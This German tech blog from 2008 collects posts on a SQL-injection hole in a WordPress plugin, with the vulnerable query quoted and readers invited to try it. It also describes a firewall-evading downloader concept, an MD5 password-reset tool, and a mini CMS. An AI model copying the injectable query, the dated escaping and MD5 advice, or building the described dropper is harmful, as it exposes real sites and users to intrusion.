Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen!

Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:

Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen

Wordpress plugins mit Nebenwirkungen

2008-06-11T13:10:00.000-07:00

Wordpress ist mitlerweile sehr weit verbreitet und daher für Angriffe sehr interessant. Vor allem die meist unsicher programmierten plugins machen es einem Potenziellen Angreifer sehr leicht.

So zum Beispiel das plugin "Spreadsheet". Dieses Eignet sich besonders für eine SQL-Injection, aber mit union. Also mehrere Select Abfragen durchführen.

Ich würde gerne einen Link mit dem Ergebniss einer solchen Anfrage einstellen, ich glaube aber dass dies nicht so gern gesehen wird, aber man kann das ganze leicht selbst ausprobieren. Und es ist ja auch nur wichtig zu w

Bei "Spreadsheet" ist die Datei ss_load.php Betroffen, diese ermöglicht den Einstieg.

Und die ss_functions.php, mit dieser Zeile in der Funktion ss_load wird die SQL Injektion durchgeführt. Die Herforgehobene Zeile

function ss_load ($id, $plain=FALSE) {
....
if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....

Um sich vor solchen gefährlichen plugins zu schützen empfehle ich wirklichem jedem Wordpress Benutzer dass er sein plugin bevor er es einsetzt erstmal den code anschauen, damit man sieht was das Programm damit macht. Vor allem sollte man keinem plugin vertrauen welches auf externe Daten blind vertraut ;)

Ah zur Absicherung empfehle ich diesen kleinen Code Schnipsel:

if(get_magic_quotes_gpc())
$varible_von_aussen = stripslashes($_GET['varible_von_aussen']);
else
$varible_von_aussen = $_GET['varible_von_aussen'];

$in_die_datenbankabfrage = mysql_real_escape_string($varible_von_aussen, $link);

Ich frage oben mit "get_magic_quotes_gpc()" ab ob dieses Aktiviert ist. Wenn es aktiviert ist dann wird mit "stripslashes()" die Maskierung rückgängig gemacht.
Ansonsten würde Maskiertes doppelt Maskiert werden!!!
Mit mysq_real_escape_string wird nun alles Maskiert.
Wichtig: Die mysql Verbindnug muss zu diesem Zeitpunkt schon stehen. Denn $link ist die MySQL Verbindungs-Kennung.

Also so schwer ist dass ja nun nicht externen code abzusichern. Aber wenn man sich die plugins so anschaut ;-)

Also Augen auf bei der Wahl eines Plugins!!

Firewalls und ihre schwächen.....

2008-06-06T08:05:00.000-07:00

Viele Windows Anwender ahnen nicht wie unsicher sie Tatsächlich unterwegs sind.
Bepackt mit Virenscanner, Firewall, Anti Spyware usw, fühlen die Anwender sich
so sicher wie noch nie ;-)
Frei nach dem Motto, es kann nichts passieren, die Software denkt ja mit. Dabei ist es ja auch ganz einfach jemanden etwas unterzumoglen.
Und mit diesem kleinen Programm lässt sich ganz Leicht ein drittes Programm auf einem Rechner einschleussen!
Das Programm, es könnte jetzt auch in einem kleinen Spiel oder was auch immer verpackt sein, aber dass habe ich mir hier nun erspart. Es soll ja auch nur ein Konzept eines möglichen Angriffs sein und keine vorbereitung als solche.

Nun gut, das Programm startet den Internet Explorer als nicht Sichtbarer Prozess.
Baut eine Verbindung zu einem Server auf und lädt dann Automatisch ein Programm, hierbei handelt es sich um ein Mini-Programm welches nur eine Meldung herbeizaubert und damit aufzeigt dass das System auf diesem wege angreifbar ist.

Durch die Autoklick Funktionen, welche windows Anbietet kann man recht leicht alle Fenster, Meldungen und Warnungen bestätigen bzw. weg klicken. Das System Funktioniert gerade auch mit einer Firewall recht gut denn der Browser darf ja Standardmäßig in das Internet.

Das Programm kann noch Optimiert werden, die Fenster welche sich öffnen, sind ganz kurz Sichtbar. Da könnte man an die Aufrufende Funktionen noch einen Hook Senden damit die Fenster nicht mehr Sichtbar sind.

Aber um das Konzept zu verdeutlichen reicht das eigentlich aus.
Hier gehts zum Quellcode in c, c Quelle

Als fertiges Programm die exe.... die gibts hier.

Für alle die mehr für Ihre Sicherheit machen wollen sei diese Seite empfohlen:

www.dingens.org

Wordpress Admin Kennwort weg?

2008-05-27T17:14:00.000-07:00

Wenn einem das Admin Kennwort für seine Wordpress installation entfallen ist und das Morphysche gesetzt zuschlägt und es Funktioniert die e-mail zusendung nicht.

Dann ist dass noch lange kein Weltuntergang. Mit diesem kleinen Tool kann man sich ein neues Passwort setzten. Vorrausgesetzt man kann noch auf die Mysql Datenbank zugreifen ;-)

Dieses Skript erzeutg aus einem Text String einen Md5 verschlüsselten String. Diesen Text kann man dann in der Datenbank speichern und fertig ;-)

Genaue Anleitung sieht man auf der Seite des Skriptes.

crypt.zip << Download

Und wer dieses Skript nicht runterladen möchte kann es hier gleich ausprobieren:
Crypt Passwort

Mini CMS System

2008-05-27T17:09:00.000-07:00

Dieser Post ist veraltet, eine gute Empfehlung für kleine Projekte ist das https://ghost.org/de/

So hier wird es mal wieder Praktisch. Das ist ein mini-cms system welches für kleinere Anwendungen gedacht ist.

Das ganze System ist relativ einfach zum installieren und kommt ohne Datenbank aus. Die Texte werden einfach als textdatei abgespeichert.

Also die kurzinstallationsanleitung:

Zip Datei runterladen.

Lokal entpacken.

Alle Dateien auf den Webserver laden.

So und schon läuft das Skript. Jetzt kann man noch bei bedarf das Layout welches als vorlage im Ordner styles liegt anpassen. Dann die Texte schreiben und schon ist das ganze fertig!

Dein Mini-CMS ist nun komplett und läuft schon. Also ein echtes 5-Minuten CMS für kleine oder kurzfristige Projekte.

Geeignet für Einsteiger da der Quellcode durchkommentiert ist.

(Der Download wurde entfernt da das System mittlerweile veraltet ist ) ;-)
Mini CMS Projekt << Download

Viel Spass mit dem CMS und wems gefällt oder wenn was stört, einfach hier unten ein kommentar abgeben! Danke im voraus

Mr. Wong Shirt ich will eins ;-)

2008-04-24T08:17:00.001-07:00

So hier ein lehrreiches Video, wie man die mr-wong toolbar installiert
Und hier auf zu mr-wong.de

ikasis: komfortabler Youtube Player mit schnell suche

2008-04-24T07:03:00.000-07:00

Der ikasis Player ist mit der neuen Youtube API realisiert worden. Er besitzt eine ajax engine und kann so eine schnelle suche durchführen ohnde die aktuelle seite neu zu laden und so das aktuelle video zu stoppen.

Direkt zum ikasis Player!

Direkt nach dem laden der seite werden die top rated videos angezeigt. Man kann einen vordefinierten Kanal auswählen, wie bsp musik oder comedy. Oder eben eine suche durchführen lassen. Die Videos kommen alle von Youtube und sind dadurch mehr als zahlreich vorhanden.

Das top feature ist die einfache handhabung. Sobald ein Video sich dem ende nähert wird das nächste video geladen und sofort wiedergegeben. So erspart man sich das ständige gewurschtel mit der Playlist obwohl man nur mal nebenbei musik hören oder ein paar sketche anschauen möchte.

Die benutzung von ikasis* player lohnt sich wirklich, da der player einfach in der Handhabung ist und tolle features besitzt.

Also gleich mal den player testen ;-)